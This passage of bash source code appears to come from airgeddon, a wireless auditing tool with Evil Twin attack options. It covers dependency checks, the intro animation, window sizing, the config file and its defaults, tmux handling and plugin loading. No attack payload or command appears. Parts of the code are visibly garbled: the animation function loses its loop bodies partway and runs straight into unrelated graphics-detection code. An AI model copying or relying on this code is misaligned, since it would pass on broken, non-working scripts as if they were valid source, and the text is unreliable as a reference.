"${AIRGEDDON_SILENT_CHECKS:-false}"; then echo language_strings "${language}" 218 "blue" fi optional_toolsok=1 local ok_optional_tools=() local error_optional_tools=() for i in "${!optional_tools[@]}"; do if hash "${i}" 2> /dev/null; then if [ "${i}" = "beef" ]; then detect_fake_beef if [ "${fake_beef_found}" -eq 1 ]; then error_optional_tools+=("${i}") optional_toolsok=0 continue fi fi optional_tools[${i}]=1 ok_optional_tools+=("${i}") else error_optional_tools+=("${i}") optional_toolsok=0 fi done if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then counter=0 for i in "${ok_optional_tools[@]}"; do printf "%-14s" "${i}" time_loop printf " "; printf "${green_color}Ok${normal_color}" ((counter++)) if (( counter % columns == 0 )); then echo else printf " " fi done if (( counter % columns != 0 )); then echo fi for i in "${error_optional_tools[@]}"; do printf "%-14s" "${i}" time_loop printf " "; printf "${red_color}Error${normal_color}" echo -n " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" echo done fi update_toolsok=1 if "${AIRGEDDON_AUTO_UPDATE:-true}"; then if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then echo language_strings "${language}" 226 "blue" fi local ok_update_tools=() local error_update_tools=() for i in "${update_tools[@]}"; do if hash "${i}" 2> /dev/null; then ok_update_tools+=("${i}") else error_update_tools+=("${i}") update_toolsok=0 fi done if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then counter=0 for i in "${ok_update_tools[@]}"; do printf "%-14s" "${i}" time_loop printf " "; printf "${green_color}Ok${normal_color}" ((counter++)) if (( counter % columns == 0 )); then echo else printf " " fi done if (( counter % columns != 0 )); then echo fi for i in "${error_update_tools[@]}"; do printf "%-14s" "${i}" time_loop printf " "; printf "${red_color}Error${normal_color}" echo -n " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" echo done fi fi if [ "${essential_toolsok}" -eq 0 ]; then echo language_strings "${language}" 111 "red" echo if "${AIRGEDDON_SILENT_CHECKS:-true}"; then language_strings "${language}" 581 "blue" echo fi language_strings "${language}" 115 "read" return fi compatible=1 if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then if [ "${optional_toolsok}" -eq 0 ]; then echo language_strings "${language}" 219 "yellow" if [ "${fake_beef_found}" -eq 1 ]; then echo language_strings "${language}" 401 "red" echo fi return fi echo language_strings "${language}" 110 "yellow" fi } #Check for the minimum bash version requirement function check_bash_version() { debug_print bashversion="${BASH_VERSINFO[0]}.${BASH_VERSINFO[1]}" if compare_floats_greater_or_equal "${bashversion}" ${minimum_bash_version_required}; then if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then echo language_strings "${language}" 221 "yellow" fi else echo language_strings "${language}" 222 "red" exit_code=1 exit_script_option fi } #Check if you have installed the tools required to update the script function check_update_tools() { debug_print if "${AIRGEDDON_AUTO_UPDATE:-true}"; then if [ "${is_docker}" -eq 1 ]; then echo language_strings "${language}" 422 "blue" language_strings "${language}" 115 "read" else if [ "${update_toolsok}" -eq 1 ]; then autoupdate_check else echo language_strings "${language}" 225 "yellow" language_strings "${language}" 115 "read" fi fi fi } #Update UI layout function update_ui_layout_on_keypress() { debug_print animated_flying_saucer_window_correction } #Check if window size is enough for intro function check_window_size_for_intro() { debug_print window_width=$(tput cols) window_height=$(tput lines) if [ "${window_width}" -lt 69 ]; then return 1 elif [[ "${window_width}" -ge 69 ]] && [[ "${window_width}" -le 80 ]]; then if [ "${window_height}" -lt 20 ]; then return 1 fi else if [ "${window_height}" -lt 19 ]; then return 1 fi fi return 0 } #Print the script intro function print_intro() { debug_print echo -e "${yellow_color} .__ .___ .___" sleep 0.15 && echo -e " _____ |__|______ ____ ____ __| _/__| _/____ ____" sleep 0.15 && echo -e " \__ \ | \_ __ \/ ___\_/ __ \ / __ |/ __ |/ _ \ / \\" sleep 0.15 && echo -e " / __ \| || | \/ /_/ > ___// /_/ / /_/ ( <_> ) | \\" sleep 0.15 && echo -e " (____ /__||__| \___ / \___ >____ \____ |\____/|___| /" sleep 0.15 && echo -e " \/ /_____/ \/ \/ \/ \/${normal_color}" echo language_strings "${language}" 228 "green" print_animated_flying_saucer sleep 1 } #Generate the frames of the animated ascii art flying saucer function flying_saucer() { debug_print case ${1} in 1) echo " " echo " . * _.---._ * " echo " .' '. . " echo " _.-~===========~-._ *" echo " * (___________________) . " echo " . . \_______/ * " ;; 2) echo " * . _.---._ . " echo " * .' '. . " echo " _.-~===========~-._ * " echo " . (___________________) * " echo " * \_______/ . " echo " " ;; 3) echo " * . " echo " * _.---._ * " echo " . .' '. * " echo " . _.-~===========~-._ * " echo " (___________________) ." echo " * \_______/ . " ;; 4) echo " * . _.---._ . " echo " * .' '. . " echo " _.-~===========~-._ * " echo " . (___________________) * " echo " * \_______/ . " echo " " ;; esac sleep 0.4 } #Adjust visual offset for floating layout render alignment function animated_flying_saucer_window_correction() { debug_print local banner=" airgeddon " local -a colors=(32 36 37 92 96) local stars=( "." "+" "*" "o" "∙" ) local color_index=0 local delay_frames=50 local frame=0 local color_change_interval=30 local color_change_counter=0 local shape=( " " " _.---._ " " .' '. " " _.-~===========~-._ " " (___________________) " " \\_______/ " ) local sw=27 local sh="${#shape[@]}" local dx=0 local vx=1 local dy=0 local vy=1 local lx=0 local ly=0 clear tput civis while true; do local cols lines cols="$(tput cols)" lines="$(tput lines)" local row=$((lines / 2)) local col_start=$(( (cols - ${#banner}) / 2 )) local max_x=$((cols - sw)) local max_y=$((lines - sh)) (( dx < 0 )) && dx=0 && vx=1 (( dx > max_x )) && dx=max_x && vx=-1 (( dy < 0 )) && dy=0 && vy=1 (( dy > max_y )) && dy=max_y && vy=-1 local current_color="${colors[color_index]}" for ((i=0; i= color_change_interval )); then color_index=$(( (color_index + 1) % ${#colors[@]} )) color_change_counter=0 fi fi for ((y=0; y /dev/null && [[ ! "$(loginctl 2>&1)" =~ not[[:blank:]]been[[:blank:]]booted[[:blank:]]with[[:blank:]]systemd|Host[[:blank:]]is[[:blank:]]down ]]; then graphics_system=$(loginctl show-session "$(loginctl 2> /dev/null | awk 'FNR == 2 {print $1}')" -p Type 2> /dev/null | awk -F "=" '{print $2}') else if [ -z "${XDG_SESSION_TYPE}" ]; then if [ -n "${XDG_CURRENT_DESKTOP}" ]; then graphics_system="x11" fi else graphics_system="${XDG_SESSION_TYPE}" fi fi else graphics_system="${XDG_SESSION_TYPE}" fi } #Detect if there is a working graphics system function check_graphics_system() { debug_print case "${graphics_system}" in "x11"|"wayland") if hash xset 2> /dev/null; then if ! xset -q > /dev/null 2>&1; then xterm_ok=0 fi fi ;; "tty"|*) if [ -z "${XAUTHORITY}" ]; then xterm_ok=0 if hash xset 2> /dev/null; then if xset -q > /dev/null 2>&1; then xterm_ok=1 fi fi fi ;; esac } #Detect screen resolution if possible function detect_screen_resolution() { debug_print resolution_detected=0 if hash xdpyinfo 2> /dev/null; then if resolution=$(xdpyinfo 2> /dev/null | grep -A 3 "screen #0" | grep "dimensions" | tr -s " " | cut -d " " -f 3 | grep "x"); then resolution_detected=1 fi fi if [ "${resolution_detected}" -eq 0 ]; then resolution=${standard_resolution} fi [[ ${resolution} =~ ^([0-9]{3,4})x(([0-9]{3,4}))$ ]] && resolution_x="${BASH_REMATCH[1]}" && resolution_y="${BASH_REMATCH[2]}" } #Set windows sizes and positions function set_windows_sizes() { debug_print set_xsizes set_ysizes set_ypositions g1_topleft_window="${xwindow}x${ywindowhalf}+0+0" g1_bottomleft_window="${xwindow}x${ywindowhalf}+0-0" g1_topright_window="${xwindow}x${ywindowhalf}-0+0" g1_bottomright_window="${xwindow}x${ywindowhalf}-0-0" g2_stdleft_window="${xwindow}x${ywindowone}+0+0" g2_stdright_window="${xwindow}x${ywindowone}-0+0" g3_topleft_window="${xwindow}x${ywindowthird}+0+0" g3_middleleft_window="${xwindow}x${ywindowthird}+0+${second_of_three_position}" g3_bottomleft_window="${xwindow}x${ywindowthird}+0-0" g3_topright_window="${xwindow}x${ywindowhalf}-0+0" g3_bottomright_window="${xwindow}x${ywindowhalf}-0-0" g4_topleft_window="${xwindow}x${ywindowthird}+0+0" g4_middleleft_window="${xwindow}x${ywindowthird}+0+${second_of_three_position}" g4_bottomleft_window="${xwindow}x${ywindowthird}+0-0" g4_topright_window="${xwindow}x${ywindowthird}-0+0" g4_middleright_window="${xwindow}x${ywindowthird}-0+${second_of_three_position}" g4_bottomright_window="${xwindow}x${ywindowthird}-0-0" g5_left1="${xwindow}x${ywindowseventh}+0+0" g5_left2="${xwindow}x${ywindowseventh}+0+${second_of_seven_position}" g5_left3="${xwindow}x${ywindowseventh}+0+${third_of_seven_position}" g5_left4="${xwindow}x${ywindowseventh}+0+${fourth_of_seven_position}" g5_left5="${xwindow}x${ywindowseventh}+0+${fifth_of_seven_position}" g5_left6="${xwindow}x${ywindowseventh}+0+${sixth_of_seven_position}" g5_left7="${xwindow}x${ywindowseventh}+0+${seventh_of_seven_position}" g5_topright_window="${xwindow}x${ywindowhalf}-0+0" g5_bottomright_window="${xwindow}x${ywindowhalf}-0-0" } #Set sizes for x-axis function set_xsizes() { debug_print xtotal=$(awk -v n1="${resolution_x}" "BEGIN{print n1 / ${xratio}}") if ! xtotaltmp=$(printf "%.0f" "${xtotal}" 2> /dev/null); then dec_char="," xtotal="${xtotal/./${dec_char}}" xtotal=$(printf "%.0f" "${xtotal}" 2> /dev/null) else xtotal=${xtotaltmp} fi xcentral_space=$((xtotal * 5 / 100)) xhalf=$((xtotal / 2)) xwindow=$((xhalf - xcentral_space)) } #Set sizes for y axis function set_ysizes() { debug_print ytotal=$(awk -v n1="${resolution_y}" "BEGIN{print n1 / ${yratio}}") if ! ytotaltmp=$(printf "%.0f" "${ytotal}" 2> /dev/null); then dec_char="," ytotal="${ytotal/./${dec_char}}" ytotal=$(printf "%.0f" "${ytotal}" 2> /dev/null) else ytotal=${ytotaltmp} fi ywindowone=$((ytotal - ywindow_edge_lines)) ywindowhalf=$((ytotal / 2 - ywindow_edge_lines)) ywindowthird=$((ytotal / 3 - ywindow_edge_lines)) ywindowseventh=$((ytotal / 7 - ywindow_edge_lines)) } #Set positions for y-axis function set_ypositions() { debug_print second_of_three_position=$((resolution_y / 3 + ywindow_edge_pixels)) second_of_seven_position=$((resolution_y / 7 + ywindow_edge_pixels)) third_of_seven_position=$((resolution_y / 7 + resolution_y / 7 + ywindow_edge_pixels)) fourth_of_seven_position=$((resolution_y / 7 + 2 * (resolution_y / 7) + ywindow_edge_pixels)) fifth_of_seven_position=$((resolution_y / 7 + 3 * (resolution_y / 7) + ywindow_edge_pixels)) sixth_of_seven_position=$((resolution_y / 7 + 4 * (resolution_y / 7) + ywindow_edge_pixels)) seventh_of_seven_position=$((resolution_y / 7 + 5 * (resolution_y / 7) + ywindow_edge_pixels)) } #Recalculate windows sizes and positions function recalculate_windows_sizes() { debug_print detect_screen_resolution set_windows_sizes } #Initialization of env vars #shellcheck disable=SC2145 function env_vars_initialization() { ordered_options_env_vars=( "AIRGEDDON_AUTO_UPDATE" #0 "AIRGEDDON_SKIP_INTRO" #1 "AIRGEDDON_BASIC_COLORS" #2 "AIRGEDDON_EXTENDED_COLORS" #3 "AIRGEDDON_AUTO_CHANGE_LANGUAGE" #4 "AIRGEDDON_SILENT_CHECKS" #5 "AIRGEDDON_PRINT_HINTS" #6 "AIRGEDDON_5GHZ_ENABLED" #7 "AIRGEDDON_FORCE_IPTABLES" #8 "AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING" #9 "AIRGEDDON_MDK_VERSION" #10 "AIRGEDDON_PLUGINS_ENABLED" #11 "AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING" #12 "AIRGEDDON_EVIL_TWIN_SOUNDS" #13 "AIRGEDDON_DEVELOPMENT_MODE" #14 "AIRGEDDON_DEBUG_MODE" #15 "AIRGEDDON_WINDOWS_HANDLING" #16 ) declare -gA nonboolean_options_env_vars nonboolean_options_env_vars["${ordered_options_env_vars[10]},default_value"]="mdk4" #mdk_version nonboolean_options_env_vars["${ordered_options_env_vars[16]},default_value"]="xterm" #windows_handling nonboolean_options_env_vars["${ordered_options_env_vars[10]},rcfile_text"]="#Available values: mdk3, mdk4 - Define which mdk version is going to be used - Default value ${nonboolean_options_env_vars[${ordered_options_env_vars[10]},'default_value']}" nonboolean_options_env_vars["${ordered_options_env_vars[16]},rcfile_text"]="#Available values: xterm, tmux - Define the needed tool to be used for windows handling - Default value ${nonboolean_options_env_vars[${ordered_options_env_vars[16]},'default_value']}" declare -gA boolean_options_env_vars boolean_options_env_vars["${ordered_options_env_vars[0]},default_value"]="true" #auto_update boolean_options_env_vars["${ordered_options_env_vars[1]},default_value"]="false" #skip_intro boolean_options_env_vars["${ordered_options_env_vars[2]},default_value"]="true" #basic_colors boolean_options_env_vars["${ordered_options_env_vars[3]},default_value"]="true" #extended_colors boolean_options_env_vars["${ordered_options_env_vars[4]},default_value"]="true" #auto_change_language boolean_options_env_vars["${ordered_options_env_vars[5]},default_value"]="false" #silent_checks boolean_options_env_vars["${ordered_options_env_vars[6]},default_value"]="true" #print_hints boolean_options_env_vars["${ordered_options_env_vars[7]},default_value"]="true" #5ghz_enabled boolean_options_env_vars["${ordered_options_env_vars[8]},default_value"]="false" #force_iptables boolean_options_env_vars["${ordered_options_env_vars[9]},default_value"]="true" #force_network_manager_killing boolean_options_env_vars["${ordered_options_env_vars[11]},default_value"]="true" #plugins_enabled boolean_options_env_vars["${ordered_options_env_vars[12]},default_value"]="true" #evil_twin_essid_stripping boolean_options_env_vars["${ordered_options_env_vars[13]},default_value"]="true" #evil_twin_sounds boolean_options_env_vars["${ordered_options_env_vars[14]},default_value"]="false" #development_mode boolean_options_env_vars["${ordered_options_env_vars[15]},default_value"]="false" #debug_mode boolean_options_env_vars["${ordered_options_env_vars[0]},rcfile_text"]="#Enabled true / Disabled false - Auto update feature (it has no effect on development mode) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[0]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[1]},rcfile_text"]="#Enabled true / Disabled false - Skip intro (it has no effect on development mode) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[1]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[2]},rcfile_text"]="#Enabled true / Disabled false - Allow colorized output - Default value ${boolean_options_env_vars[${ordered_options_env_vars[2]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[3]},rcfile_text"]="#Enabled true / Disabled false - Allow extended colorized output (ccze tool needed, it has no effect on disabled basic colors) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[3]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[4]},rcfile_text"]="#Enabled true / Disabled false - Auto change language feature - Default value ${boolean_options_env_vars[${ordered_options_env_vars[4]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[5]},rcfile_text"]="#Enabled true / Disabled false - Dependencies, root and bash version checks are done silently (it has no effect on development mode) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[5]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[6]},rcfile_text"]="#Enabled true / Disabled false - Print help hints on menus - Default value ${boolean_options_env_vars[${ordered_options_env_vars[6]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[7]},rcfile_text"]="#Enabled true / Disabled false - Enable 5Ghz support (it has no effect if your cards are not 5Ghz compatible cards) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[7]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[8]},rcfile_text"]="#Enabled true / Disabled false - Force to use iptables instead of nftables (it has no effect if nftables are not present) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[8]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[9]},rcfile_text"]="#Enabled true / Disabled false - Force to kill Network Manager before launching Evil Twin attacks - Default value ${boolean_options_env_vars[${ordered_options_env_vars[9]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[11]},rcfile_text"]="#Enabled true / Disabled false - Enable plugins system - Default value ${boolean_options_env_vars[${ordered_options_env_vars[11]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[12]},rcfile_text"]="#Enabled true / Disabled false - Enable ESSID stripping during Evil Twin attacks - Default value ${boolean_options_env_vars[${ordered_options_env_vars[12]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[13]},rcfile_text"]="#Enabled true / Disabled false - Enable sounds for Evil Twin attacks - Default value ${boolean_options_env_vars[${ordered_options_env_vars[13]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[14]},rcfile_text"]="#Enabled true / Disabled false - Development mode for faster development skipping intro and all initial checks - Default value ${boolean_options_env_vars[${ordered_options_env_vars[14]},'default_value']}" boolean_options_env_vars["${ordered_options_env_vars[15]},rcfile_text"]="#Enabled true / Disabled false - Debug mode for development printing debug information - Default value ${boolean_options_env_vars[${ordered_options_env_vars[15]},'default_value']}" readarray -t ENV_VARS_ELEMENTS < <(printf %s\\n "${!nonboolean_options_env_vars[@]} ${!boolean_options_env_vars[@]}" | cut -d, -f1 | sort -u) readarray -t ENV_BOOLEAN_VARS_ELEMENTS < <(printf %s\\n "${!boolean_options_env_vars[@]}" | cut -d, -f1 | sort -u) readarray -t ENV_NONBOOLEAN_VARS_ELEMENTS < <(printf %s\\n "${!nonboolean_options_env_vars[@]}" | cut -d, -f1 | sort -u) ARRAY_ENV_VARS_ELEMENTS=("${ENV_VARS_ELEMENTS[@]}") ARRAY_ENV_BOOLEAN_VARS_ELEMENTS=("${ENV_BOOLEAN_VARS_ELEMENTS[@]}") ARRAY_ENV_NONBOOLEAN_VARS_ELEMENTS=("${ENV_NONBOOLEAN_VARS_ELEMENTS[@]}") if [ -f "${osversionfile_dir}${alternative_rc_file_name}" ]; then rc_path="${osversionfile_dir}${alternative_rc_file_name}" else rc_path="${scriptfolder}${rc_file_name}" if [ ! -f "${rc_path}" ]; then create_rcfile fi fi env_vars_values_validation } #Validation of env vars. Missing vars, invalid values, etc. are checked function env_vars_values_validation() { debug_print declare -gA errors_on_configuration_vars for item in "${ARRAY_ENV_VARS_ELEMENTS[@]}"; do if [ -z "${!item}" ]; then if grep "${item}" "${rc_path}" > /dev/null; then eval "export $(grep "${item}" "${rc_path}")" else if echo "${ARRAY_ENV_BOOLEAN_VARS_ELEMENTS[@]}" | grep -q "${item}"; then eval "export ${item}=${boolean_options_env_vars[${item},'default_value']}" errors_on_configuration_vars["${item},missing_var"]="${boolean_options_env_vars[${item},'default_value']}" elif echo "${ARRAY_ENV_NONBOOLEAN_VARS_ELEMENTS[@]}" | grep -q "${item}"; then eval "export ${item}=${nonboolean_options_env_vars[${item},'default_value']}" errors_on_configuration_vars["${item},missing_var"]="${nonboolean_options_env_vars[${item},'default_value']}" fi fi fi done for item in "${ARRAY_ENV_BOOLEAN_VARS_ELEMENTS[@]}"; do if ! [[ "${!item,,}" =~ ^(true|false)$ ]]; then errors_on_configuration_vars["${item},invalid_value"]="${boolean_options_env_vars[${item},'default_value']}" eval "export ${item}=${boolean_options_env_vars[${item},'default_value']}" fi done for item in "${ARRAY_ENV_NONBOOLEAN_VARS_ELEMENTS[@]}"; do if [ "${item}" = "AIRGEDDON_WINDOWS_HANDLING" ]; then if ! [[ "${!item,,}" =~ ^(xterm|tmux)$ ]]; then errors_on_configuration_vars["${item},invalid_value"]="${nonboolean_options_env_vars[${item},'default_value']}" eval "export ${item}=${nonboolean_options_env_vars[${item},'default_value']}" fi elif [ "${item}" = "AIRGEDDON_MDK_VERSION" ]; then if ! [[ "${!item,,}" =~ ^(mdk3|mdk4)$ ]]; then errors_on_configuration_vars["${item},invalid_value"]="${nonboolean_options_env_vars[${item},'default_value']}" eval "export ${item}=${nonboolean_options_env_vars[${item},'default_value']}" fi fi done } #Print possible issues on configuration vars function print_configuration_vars_issues() { debug_print readarray -t ERRORS_ON_CONFIGURATION_VARS_ELEMENTS < <(printf %s\\n "${!errors_on_configuration_vars[@]}" | cut -d, -f1 | sort -u) ERROR_VARS_ELEMENTS=("${ERRORS_ON_CONFIGURATION_VARS_ELEMENTS[@]}") local stop_on_var_errors=0 local error_var_state for item in "${ERROR_VARS_ELEMENTS[@]}"; do if [ -n "${item}" ]; then error_var_name="${item}" error_var_state=$(printf %s\\n "${!errors_on_configuration_vars[@]}" | tr " " "\n" | grep "${item}" | cut -d, -f2) if [ -z "${!error_var_state}" ]; then error_var_default_value="${errors_on_configuration_vars[${item},"${error_var_state}"]}" stop_on_var_errors=1 if [ "${error_var_state}" = "missing_var" ]; then echo language_strings "${language}" 614 "yellow" else echo language_strings "${language}" 613 "yellow" fi fi fi done if [ "${stop_on_var_errors}" -eq 1 ]; then echo language_strings "${language}" 115 "read" fi } #Create env vars file and fill it with default values function create_rcfile() { debug_print local counter=0 for item in "${ordered_options_env_vars[@]}"; do counter=$((counter + 1)) if echo "${ARRAY_ENV_BOOLEAN_VARS_ELEMENTS[@]}" | grep -q "${item}"; then { echo -e "${boolean_options_env_vars[${item},"rcfile_text"]}" echo -e "${item}=${boolean_options_env_vars[${item},"default_value"]}" if [ "${counter}" -ne ${#ordered_options_env_vars[@]} ]; then echo -ne "\n" fi } >> "${rc_path}" 2> /dev/null elif echo "${ARRAY_ENV_NONBOOLEAN_VARS_ELEMENTS[@]}" | grep -q "${item}"; then { echo -e "${nonboolean_options_env_vars[${item},"rcfile_text"]}" echo -e "${item}=${nonboolean_options_env_vars[${item},"default_value"]}" if [ "${counter}" -ne ${#ordered_options_env_vars[@]} ]; then echo -ne "\n" fi } >> "${rc_path}" 2> /dev/null fi done } #Detect if airgeddon is working inside a docker container function docker_detection() { debug_print if [ -f /.dockerenv ]; then is_docker=1 fi } #Set sounds for evil twin attacks if set function initialize_sounds() { debug_print able_to_play_sounds=0 if "${AIRGEDDON_EVIL_TWIN_SOUNDS:-true}"; then if hash play 2> /dev/null; then able_to_play_sounds=1 fi fi } #Set colorization output if set function initialize_extended_colorized_output() { debug_print colorize="" if "${AIRGEDDON_BASIC_COLORS:-true}" && "${AIRGEDDON_EXTENDED_COLORS:-true}"; then if hash ccze 2> /dev/null; then colorize="| ccze -A" fi fi } #Remap colors vars function remap_colors() { debug_print if ! "${AIRGEDDON_BASIC_COLORS:-true}"; then green_color="${normal_color}" green_color_title="${normal_color}" red_color="${normal_color}" red_color_slim="${normal_color}" blue_color="${normal_color}" cyan_color="${normal_color}" brown_color="${normal_color}" yellow_color="${normal_color}" pink_color="${normal_color}" white_color="${normal_color}" else initialize_colors fi } #Initialize colors vars function initialize_colors() { debug_print normal_color="\e[1;0m" green_color="\033[1;32m" green_color_title="\033[0;32m" red_color="\033[1;31m" red_color_slim="\033[0;031m" blue_color="\033[1;34m" cyan_color="\033[1;36m" brown_color="\033[0;33m" yellow_color="\033[1;33m" pink_color="\033[1;35m" white_color="\e[1;97m" } #Kill tmux session started by airgeddon function kill_tmux_session() { debug_print if hash tmux 2> /dev/null; then tmux kill-session -t "${1}" return 0 else return 1 fi } #Initialize tmux if apply function initialize_tmux() { debug_print if [ "${1}" = "true" ]; then if [ -n "${2}" ]; then airgeddon_uid="${2}" else exit ${exit_code} fi else airgeddon_uid="${BASHPID}" fi session_name="airgeddon${airgeddon_uid}" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then if hash tmux 2> /dev/null; then transfer_to_tmux if ! check_inside_tmux; then exit_code=1 exit ${exit_code} fi fi fi } #Starting point of airgeddon script inside newly created tmux session function start_airgeddon_from_tmux() { debug_print tmux rename-window -t "${session_name}" "${tmux_main_window}" tmux send-keys -t "${session_name}:${tmux_main_window}" "clear;cd ${scriptfolder};bash ${scriptname} \"true\" \"${airgeddon_uid}\"" ENTER sleep 0.2 if [ "${1}" = "normal" ]; then tmux attach -t "${session_name}" else tmux switch-client -t "${session_name}" fi } #Create new tmux session exclusively for airgeddon function create_tmux_session() { debug_print session_name="${1}" if [ "${2}" = "true" ]; then tmux new-session -d -s "${1}" start_airgeddon_from_tmux "normal" else tmux new-session -d -s "${1}" start_airgeddon_from_tmux "nested" fi } #Start supporting scripts inside its own tmux window function start_tmux_processes() { debug_print local window_name local command_line window_name="${1}" command_line="${2}" tmux kill-window -t "${session_name}:${window_name}" 2> /dev/null case "${4}" in "active") tmux new-window -t "${session_name}:" -n "${window_name}" ;; *) tmux new-window -d -t "${session_name}:" -n "${window_name}" ;; esac local tmux_color_cmd if [ -n "${3}" ]; then tmux_color_cmd="bg=#000000 fg=${3}" else tmux_color_cmd="bg=#000000" fi tmux setw -t "${window_name}" window-style "${tmux_color_cmd}" tmux send-keys -t "${session_name}:${window_name}" "${command_line}" ENTER } #Check if script is currently executed inside tmux session or not function check_inside_tmux() { debug_print local parent_pid local parent_window parent_pid=$(ps -o ppid= ${PPID} 2> /dev/null | tr -d ' ') parent_window="$(ps --no-headers -p "${parent_pid}" -o comm= 2> /dev/null)" if [[ "${parent_window}" =~ tmux ]]; then return 0 fi return 1 } #Hand over script execution to tmux and call function to create a new session function transfer_to_tmux() { debug_print if ! check_inside_tmux; then create_tmux_session "${session_name}" "true" else local active_session active_session=$(tmux display-message -p '#S') if [ "${active_session}" != "${session_name}" ]; then tmux_error=1 fi fi } #Function to kill tmux windows using window name function kill_tmux_windows() { debug_print local TMUX_WINDOWS_LIST=() local current_window_name readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") for item in "${TMUX_WINDOWS_LIST[@]}"; do [[ "${item}" =~ ^[0-9]+:[[:blank:]](.+([^*-]))([[:blank:]]|\-|\*)[[:blank:]]?\([0-9].+ ]] && current_window_name="${BASH_REMATCH[1]}" if [ "${current_window_name}" = "${tmux_main_window}" ]; then continue fi if [ -n "${1}" ]; then if [ "${current_window_name}" = "${1}" ]; then continue fi fi tmux kill-window -t "${session_name}:${current_window_name}" done } #Function to pause script execution in the main window until a process has finished executing or the user terminates it #shellcheck disable=SC2009 function wait_for_process() { debug_print local running_process local running_process_pid local running_process_cmd_line running_process_cmd_line=$(echo "${1}" | tr -d '"') while [ -z "${running_process_pid}" ]; do running_process_pid=$(ps --no-headers auxww | grep "${running_process_cmd_line}" | grep -v "grep ${running_process_cmd_line}" | awk '{print $2}' | tr '\n' ':') if [ -n "${running_process_pid}" ]; then running_process_pid="${running_process_pid%%:*}" running_process="${running_process_pid}" fi done while [ -n "${running_process}" ]; do running_process=$(ps auxww | grep "${running_process_pid}" | grep -v "grep ${running_process_pid}") sleep 0.2 done if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then tmux kill-window -t "${session_name}:${2}" fi } #Function to capture PID of a process started inside tmux and setting it to a global variable #shellcheck disable=SC2009 function get_tmux_process_id() { debug_print if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then local process_cmd_line local process_pid process_cmd_line=$(echo "${1}" | tr -d '"') while [ -z "${process_pid}" ]; do process_pid=$(ps --no-headers aux | grep "${process_cmd_line}" | grep -v "grep ${process_cmd_line}" | awk '{print $2}') done global_process_pid="${process_pid}" fi } #Centralized function to launch window using xterm/tmux function manage_output() { debug_print local xterm_parameters local tmux_command_line local xterm_command_line local window_name local command_tail xterm_parameters="${1}" tmux_command_line="${2}" xterm_command_line="\"${2}\"" window_name="${3}" command_tail=" > /dev/null 2>&1 &" case "${AIRGEDDON_WINDOWS_HANDLING}" in "tmux") local tmux_color tmux_color="" [[ "${1}" =~ -fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="${BASH_REMATCH[2]}" case "${4}" in "active") start_tmux_processes "${window_name}" "clear;${tmux_command_line}" "${tmux_color}" "active" ;; *) start_tmux_processes "${window_name}" "clear;${tmux_command_line}" "${tmux_color}" ;; esac ;; "xterm") eval "xterm ${xterm_parameters} -e ${xterm_command_line}${command_tail}" ;; esac } #Plugins initialization, parsing and validations handling function parse_plugins() { plugins_enabled=() shopt -s nullglob for path in "${plugins_paths[@]}"; do if [ -d "${path}" ]; then for file in "${path}"*.sh; do if [ "${file}" != "${path}plugin_template.sh" ]; then plugin_short_name="${file##*/}" plugin_short_name="${plugin_short_name%.sh*}" if grep -q -E "^plugin_enabled=1$" "${file}"; then #shellcheck source=./plugins/missing_dependencies.sh source "${file}" "$@" validate_plugin_requirements plugin_validation_result=$? if [ "${plugin_validation_result}" -eq 0 ]; then plugins_enabled+=("${plugin_short_name}") fi fi fi done fi done shopt -u nullglob } #Validate if plugin meets the needed requirements function validate_plugin_requirements() { if [ -n "${plugin_minimum_ag_affected_version}" ]; then if compare_floats_greater_than "${plugin_minimum_ag_affected_version}" "${airgeddon_version}"; then return 1 fi fi if [ -n "${plugin_maximum_ag_affected_version}" ]; then if compare_floats_greater_than "${airgeddon_version}" "${plugin_maximum_ag_affected_version}"; then return 1 fi fi if [ "${plugin_distros_supported[0]}" != "*" ]; then for item in "${plugin_distros_supported[@]}"; do if [ "${item}" = "${distro}" ]; then return 0 fi done return 2 fi return 0 } #Apply modifications to functions with defined plugins changes #shellcheck disable=SC2086,SC2001 function apply_plugin_functions_rewriting() { declare -A function_hooks local original_function local action local is_hookable for plugin in "${plugins_enabled[@]}"; do for current_function in $(compgen -A 'function' "${plugin}_" | grep -e "[override|prehook|posthook]"); do original_function=$(echo ${current_function} | sed "s/^${plugin}_\(override\)*\(prehook\)*\(posthook\)*_//") action=$(echo ${current_function} | sed "s/^${plugin}_\(override\)*\(prehook\)*\(posthook\)*_.*$/\1\2\3/") if ! declare -F ${original_function} &> /dev/null; then echo language_strings "${language}" 659 "red" exit_code=1 exit_script_option fi is_hookable=false if [[ "${original_function}" == *"hookable"* ]]; then is_hookable=true fi if [[ "${is_hookable}" == false ]] && [[ -n "${function_hooks[${original_function},${action}]}" ]]; then echo language_strings "${language}" 661 "red" exit_code=1 exit_script_option fi if ! printf '%s\n' 